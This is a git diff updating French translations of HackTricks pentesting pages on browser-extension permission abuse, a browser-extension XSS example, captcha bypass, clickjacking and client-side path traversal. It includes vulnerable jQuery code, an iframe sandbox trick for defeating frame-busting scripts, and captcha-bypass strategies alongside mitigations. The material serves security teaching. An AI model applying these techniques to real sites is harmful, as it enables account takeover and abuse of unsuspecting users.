Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de déplacement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit. +Avec l'accès à [votre emplacement géographique exact](https://developer.mozilla.org/fr/docs/Web/API/Geolocation) ou au [contenu de votre presse-papiers](https://developer.mozilla.org/fr/docs/Web/API/Clipboard_API), il n'est pas nécessaire de donner une autorisation explicite. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'entrée des** [**permissions**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont alors accordés implicitement lors de l'installation de l'extension. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de déplacement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit. -Ajouter le mot-clé **`history`** à l'[entrée des permissions](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web. +Ajouter le mot-clé **`history`** à l'entrée des [permissions](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API de l'historique**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'intégralité de l'historique de navigation de l'utilisateur en une seule fois, sans attendre que l'utilisateur visite à nouveau ces sites web. La **permission `bookmarks`** a un potentiel d'abus similaire, celle-ci permet de **lire tous les favoris via l'** [**API des favoris**](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). @@ -113,11 +113,11 @@ Vous pouvez trouver la [**liste complète des permissions qu'une extension de na ## Prévention -La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes de permissions excessives. Un cas où une extension de navigateur a outrepassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'extensions. +La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes excessives de permissions. Un cas où une extension de navigateur a dépassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'extensions. Les navigateurs pourraient également limiter davantage les abus des privilèges des extensions. Par exemple, les API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) et [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilisées pour l'enregistrement d'écran, sont conçues pour minimiser les abus. L'API tabCapture ne peut être activée que par une interaction directe de l'utilisateur, comme en cliquant sur l'icône de l'extension, tandis que desktopCapture nécessite une confirmation de l'utilisateur pour enregistrer la fenêtre, empêchant ainsi les activités d'enregistrement clandestines. -Cependant, le renforcement des mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La [permission activeTab](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustre ce compromis. Elle a été introduite pour éliminer le besoin pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais il est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate. +Cependant, renforcer les mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La [permission activeTab](https://developer.mozilla.org/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustre ce compromis. Elle a été introduite pour éliminer le besoin pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais il est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate. ## **Références** @@ -133,7 +133,7 @@ D'autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 1c0c3e53d..e5a2d6c47 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,22 +1,22 @@ -# BrowExt - Exemple de XSS +# BrowExt - Exemple XSS
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## Cross-Site Scripting (XSS) via Iframe -Dans cette configuration, un **script de contenu** est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe : +Dans cette configuration, un **script de contenu** est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe: ```javascript chrome.storage.local.get("message", result => { let constructedURL = chrome.runtime.getURL("message.html") + @@ -65,7 +65,7 @@ document.body.append(newFrame); Cet exemple a été tiré du [post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/). -Le problème principal découle d'une vulnérabilité de type Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, faisant partie de **`bookmarks.js`**, est détaillé ci-dessous: +Le problème principal découle d'une vulnérabilité de Cross-site Scripting (XSS) basée sur le DOM située dans **`/html/bookmarks.html`**. Le JavaScript problématique, faisant partie de **`bookmarks.js`**, est détaillé ci-dessous: ```javascript $('#btAdd').on('click', function() { var bookmarkName = $('#txtName').val(); @@ -82,11 +82,11 @@ $('section.bookmark-container .existing-items').append(bookmarkItem); persistData(); }); ``` -Ce fragment extrait la **valeur** du champ de saisie **`txtName`** et utilise la **concaténation de chaînes pour générer du HTML**, qui est ensuite ajouté au DOM à l'aide de la fonction `.append()` de jQuery. +Ce extrait récupère la **valeur** du champ de saisie **`txtName`** et utilise la **concaténation de chaînes pour générer du HTML**, qui est ensuite ajouté au DOM en utilisant la fonction `.append()` de jQuery. -En général, la **Politique de sécurité du contenu (CSP)** de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la **relaxation de la CSP avec 'unsafe-eval'** et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent [`globalEval()`](https://api.jquery.com/jquery.globaleval/) pour transmettre des scripts à [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'insertion dans le DOM), l'exploitation reste possible. +Généralement, la **Politique de sécurité du contenu (CSP)** de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de la **relaxation de la CSP avec ‘unsafe-eval’** et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui utilisent [`globalEval()`](https://api.jquery.com/jquery.globaleval/) pour transmettre des scripts à [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'insertion dans le DOM), l'exploitation reste possible. -Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton "Ajouter". +Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, saisir une charge utile XSS et activer le bouton “Ajouter”. Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de **clickjacking** est exploitée. Le manifeste de l'extension Chrome présente une politique étendue `web_accessible_resources` : ```json @@ -98,7 +98,7 @@ Pour renforcer cette vulnérabilité, une deuxième vulnérabilité de **clickja [...] ], ``` -Notamment, la page **`/html/bookmarks.html`** est sujette au cadrage, donc vulnérable au **clickjacking**. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la recouvrant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente. +Notamment, la page **`/html/bookmarks.html`** est sujette au cadrage, donc vulnérable au **clickjacking**. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la superposant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente. ## Références @@ -114,7 +114,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/captcha-bypass.md b/pentesting-web/captcha-bypass.md index 1e0f28e15..08bf0fc67 100644 --- a/pentesting-web/captcha-bypass.md +++ b/pentesting-web/captcha-bypass.md @@ -8,18 +8,18 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. ## Contournement de Captcha -Pour **contourner** le captcha lors des tests de **serveur** et automatiser les fonctions de saisie utilisateur, diverses techniques peuvent être utilisées. L'objectif n'est pas de compromettre la sécurité, mais de rationaliser le processus de test. Voici une liste complète des stratégies : +Pour **contourner** le captcha lors des tests de serveur et automatiser les fonctions de saisie utilisateur, diverses techniques peuvent être utilisées. L'objectif n'est pas de compromettre la sécurité, mais de rationaliser le processus de test. Voici une liste complète des stratégies : 1. **Manipulation des Paramètres** : -* **Omettre le Paramètre Captcha** : Évitez d'envoyer le paramètre captcha. Expérimentez en modifiant la méthode HTTP de POST à GET ou à d'autres verbes, et en modifiant le format des données, tel que passer de données de formulaire à JSON. +* **Omettre le Paramètre Captcha** : Évitez d'envoyer le paramètre captcha. Expérimentez en modifiant la méthode HTTP de POST à GET ou à d'autres verbes, et en modifiant le format des données, comme passer de données de formulaire à JSON. * **Envoyer un Captcha Vide** : Envoyez la requête avec le paramètre captcha présent mais laissé vide. 2. **Extraction et Réutilisation des Valeurs** : @@ -32,7 +32,7 @@ Pour **contourner** le captcha lors des tests de **serveur** et automatiser les * **Captcha Mathématique** : Si le captcha implique des opérations mathématiques, automatisez le processus de calcul. * **Reconnaissance d'Image** : * Pour les captchas qui nécessitent la lecture de caractères à partir d'une image, déterminez manuellement ou programmation le nombre total d'images uniques. Si l'ensemble est limité, vous pouvez identifier chaque image par son hachage MD5. -* Utilisez des outils de Reconnaissance Optique de Caractères (OCR) comme [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) pour automatiser la lecture de caractères à partir d'images. +* Utilisez des outils de reconnaissance optique de caractères (OCR) comme [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) pour automatiser la lecture de caractères à partir d'images. 4. **Techniques Additionnelles** : * **Test de Limitation de Taux** : Vérifiez si l'application limite le nombre de tentatives ou de soumissions dans un laps de temps donné et si cette limite peut être contournée ou réinitialisée. @@ -48,6 +48,6 @@ Pour **contourner** le captcha lors des tests de **serveur** et automatiser les Le résolveur automatique de captcha de Capsolver offre la **solution de résolution de captcha la plus abordable et rapide**. Vous pouvez rapidement l'intégrer à votre programme en utilisant son option d'intégration simple pour obtenir les meilleurs résultats en quelques secondes. -Avec un taux de réussite de 99,15 %, Capsolver peut **répondre à plus de 10 millions de captchas par minute**. Cela signifie que votre automatisation ou votre extraction de données aura un temps de fonctionnement de 99,99 %. Vous pouvez acheter un package de captcha si vous avez un budget important. +Avec un taux de réussite de 99,15 %, Capsolver peut **répondre à plus de 10 millions de captchas par minute**. Cela signifie que votre automatisation ou votre extraction de données aura un temps de disponibilité de 99,99 %. Vous pouvez acheter un package de captcha si vous avez un budget important. Au prix le plus bas du marché, vous pouvez obtenir une variété de solutions, y compris reCAPTCHA V2, reCAPTCHA V3, hCaptcha, hCaptcha Click, reCaptcha click, Funcaptcha Click, FunCaptcha, datadome captcha, aws captcha, image-to-text, captcha binance / coinmarketcap, geetest v3 / v3, et plus encore. Avec ce service, **0,1s est la vitesse la plus lente jamais mesurée**. diff --git a/pentesting-web/clickjacking.md b/pentesting-web/clickjacking.md index 54987acb5..ddaa29c60 100644 --- a/pentesting-web/clickjacking.md +++ b/pentesting-web/clickjacking.md @@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -29,11 +29,11 @@ Dans une attaque de clickjacking, un **utilisateur** est **trompé** pour **cliq ### Astuce de préremplissage de formulaires -Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre. +Parfois, il est possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre. -### Remplir un formulaire avec Drag\&Drop +### Remplir un formulaire avec le glisser-déposer -Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou le mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Faire glisser et déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou le mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **glisser-déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ### Charge utile de base ```markup @@ -110,10 +110,10 @@ background: #F00; ``` ### XSS + Clickjacking -Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\ -Exemple :\ -_Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\ -\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**. +Si vous avez identifié une attaque **XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien. +Exemple : +_Vous avez trouvé un **auto-XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._ +\_\_Un attaquant pourrait préparer une attaque de **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'utilisateur pour **soumettre** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**. ## Stratégies pour Mitiger le Clickjacking @@ -124,16 +124,16 @@ Les scripts exécutés côté client peuvent effectuer des actions pour préveni * S'assurer que la fenêtre de l'application est la fenêtre principale ou supérieure. * Rendre tous les cadres visibles. * Empêcher les clics sur les cadres invisibles. -* Détecter et alerter les utilisateurs des tentatives potentielles de Clickjacking. +* Détecter et alerter les utilisateurs sur les tentatives potentielles de Clickjacking. Cependant, ces scripts de rupture de cadre peuvent être contournés : * **Paramètres de Sécurité des Navigateurs :** Certains navigateurs peuvent bloquer ces scripts en fonction de leurs paramètres de sécurité ou du manque de prise en charge de JavaScript. -* **Attribut `sandbox` de l'iframe HTML5 :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il s'agit de la fenêtre supérieure, par exemple. +* **Attribut HTML5 iframe `sandbox` :** Un attaquant peut neutraliser les scripts de rupture de cadre en définissant l'attribut `sandbox` avec les valeurs `allow-forms` ou `allow-scripts` sans `allow-top-navigation`. Cela empêche l'iframe de vérifier s'il s'agit de la fenêtre supérieure, par exemple. ```html ``` -Les valeurs `allow-forms` et `allow-scripts` permettent des actions dans l'iframe tout en désactivant la navigation au niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires telles que `allow-same-origin` et `allow-modals` peuvent être nécessaires, en fonction du type d'attaque. Les messages de la console du navigateur peuvent indiquer quelles autorisations autoriser. +Les valeurs `allow-forms` et `allow-scripts` permettent des actions dans l'iframe tout en désactivant la navigation au niveau supérieur. Pour garantir la fonctionnalité prévue du site ciblé, des autorisations supplémentaires telles que `allow-same-origin` et `allow-modals` peuvent être nécessaires, selon le type d'attaque. Les messages de la console du navigateur peuvent indiquer quelles autorisations autoriser. ### Défenses côté serveur @@ -146,9 +146,9 @@ L'en-tête de réponse HTTP **`X-Frame-Options`** informe les navigateurs sur la - `X-Frame-Options: allow-from https://trusted.com` - Seul l'URI spécifié peut encadrer la page. - Notez les limitations : si le navigateur ne prend pas en charge cette directive, cela pourrait ne pas fonctionner. Certains navigateurs préfèrent la directive CSP frame-ancestors. -#### Directive frame-ancestors de la stratégie de sécurité du contenu (CSP) +#### Directive frame-ancestors de la politique de sécurité du contenu (CSP) -La directive **`frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking : +La **directive `frame-ancestors` dans CSP** est la méthode recommandée pour la protection contre le Clickjacking : - `frame-ancestors 'none'` - Similaire à `X-Frame-Options: deny`. - `frame-ancestors 'self'` - Similaire à `X-Frame-Options: sameorigin`. @@ -187,7 +187,7 @@ Cette politique permet les frames et les workers de la même origine (self) et d #### Scripts JavaScript de rupture de frame -Bien que pas totalement infaillibles, les scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple : +Bien que pas totalement infaillibles, des scripts de rupture de frame basés sur JavaScript peuvent être utilisés pour empêcher une page web d'être encadrée. Exemple : ```javascript if (top !== self) { top.location = self.location; @@ -195,7 +195,7 @@ top.location = self.location; ``` #### Utilisation des jetons anti-CSRF -* **Validation du jeton :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked. +* **Validation des jetons :** Utilisez des jetons anti-CSRF dans les applications web pour garantir que les requêtes modifiant l'état sont effectuées intentionnellement par l'utilisateur et non via une page Clickjacked. ## Références @@ -218,8 +218,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/client-side-path-traversal.md b/pentesting-web/client-side-path-traversal.md index 3856579d8..781fff0ea 100644 --- a/pentesting-web/client-side-path-traversal.md +++ b/pentesting-web/client-side-path-traversal.md @@ -1,7 +1,23 @@ +# Traversée de chemin côté client + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
+ ## Informations de base -Une traversée de chemin côté client se produit lorsque vous pouvez **manipuler le chemin d'une URL** qui va être **envoyée à un utilisateur pour être visitée de manière légitime** ou qu'un utilisateur est d'une manière ou d'une autre **forcé à visiter par exemple via JS ou CSS**. +Une traversée de chemin côté client se produit lorsque vous pouvez **manipuler le chemin d'une URL** qui va être **envoyée à un utilisateur pour être visitée de manière légitime** ou qu'un utilisateur va être **forcé de visiter par exemple via JS ou CSS**. -Dans [**cette publication**](https://erasec.be/blog/client-side-path-manipulation/), il était possible de **changer l'URL d'invitation** de sorte qu'elle finisse par **annuler une carte**. +Dans [**ce compte rendu**](https://erasec.be/blog/client-side-path-manipulation/), il était possible de **modifier l'URL d'invitation** pour finir par **annuler une carte**. -Dans [**cette publication**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), il était possible de combiner une **traversée de chemin côté client via CSS** (il était possible de changer le chemin où une ressource CSS était chargée) avec une **redirection ouverte** pour charger la ressource CSS à partir d'un **domaine contrôlé par un attaquant**. +Dans [**ce compte rendu**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), il était possible de combiner une **traversée de chemin côté client via CSS** (il était possible de changer le chemin d'où une ressource CSS était chargée) avec une **redirection ouverte** pour charger la ressource CSS à partir d'un **domaine contrôlé par l'attaquant**. diff --git a/pentesting-web/client-side-template-injection-csti.md b/pentesting-web/client-side-template-injection-csti.md index 6acc6e32d..bd3096423 100644 --- a/pentesting-web/client-side-template-injection-csti.md +++ b/pentesting-web/client-side-template-injection-csti.md @@ -2,12 +2,12 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* 